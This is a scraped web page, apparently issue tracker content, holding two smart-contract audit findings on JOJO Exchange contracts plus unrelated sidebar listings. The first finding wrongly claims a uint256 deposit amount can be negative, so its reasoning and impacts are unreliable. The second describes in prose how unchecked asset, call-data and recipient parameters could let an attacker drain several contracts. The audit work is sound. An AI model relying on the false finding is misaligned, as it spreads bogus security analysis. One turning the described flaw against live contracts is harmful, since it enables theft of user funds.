The deposit function within the FundingRateArbitrage smart contract lacks validation to prevent negative amount values from being accepted as deposits. This oversight could potentially allow malicious actors to exploit the contract by providing negative values for amount.

Vulnerability Detail

In the deposit function, the contract uses the following line of code to check if the amount is non-zero:

require(amount != 0, "deposit amount is zero");

However, this code neglects to verify whether the amount is negative, which means that it does not prevent negative values from being used as deposits. As a result, a malicious user could submit a negative amount, and the existing require statement would not detect this, potentially leading to unintended and harmful outcomes.

Impact

The absence of validation for negative amount values in the deposit function could have severe consequences, including but not limited to:

  • Unauthorized withdrawal or manipulation of funds.
  • Distorted account balances.
  • Loss of user assets.
  • Exploitation of contract vulnerabilities.

Code Snippet

function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero"); // Potential vulnerability
    // Rest of the function logic...
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L259

Tool used

Manual Review

Recommendation

To mitigate this vulnerability, it is strongly advised to enhance the deposit function by explicitly verifying that the amount is both positive and non-zero. You can achieve this by modifying the function as follows:

function deposit(uint256 amount) external {
    require(amount > 0, "deposit amount must be positive"); // Updated validation
    // Rest of the function logic...
}

By including the amount > 0 check, you ensure that only positive and non-zero values are accepted as valid deposits, thereby reducing the risk of unintended behavior or exploitation of the contract.

vvv - Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset

vvv

high

Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset

Summary

Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset in depositStableCoin, JOJOFlashLoan, JOJOFlashLoan, repayJUSD methods. These methods doesn't check for asset and transfer funds to arbitrary address to.

Vulnerability Detail

Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset in depositStableCoin, JOJOFlashLoan, JOJOFlashLoan, repayJUSD methods.

These methods doesn't have any checks for asset, which could be specifially crafred to pass all the other checks. Any calls to passed address (as IERC20(asset).<method>) could be easilly manipulated, call to swapTarget.call(data) could be mainpulated too, considering the data variable is arbitary and also isn't checked. The project code and documentation doesn't really specify what kind of approveTarget and swapTarget could be whitelisted. Considering the data being passed to those addreses is arbitrary, it's higly possible these calls can be manipulated and attacked too.

All these methods are external and transfer funds to specified to address at the end, which is also arbitrary. Passing all the specified above checks, it allows to steal all the funds from contract.

Impact

Funds from specified contracts could be stolen.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/DepositStableCoinToDealer.sol#L33-L69

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FlashLoanLiquidate.sol#L46-L82

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FlashLoanRepay.sol#L36-L69

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/GeneralRepay.sol#L33-L70

Tool used

Manual Review

Recommendation

Check passed asset, param and to params by whitelist or more sophisticated mechnism.

Duplicate of #7

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.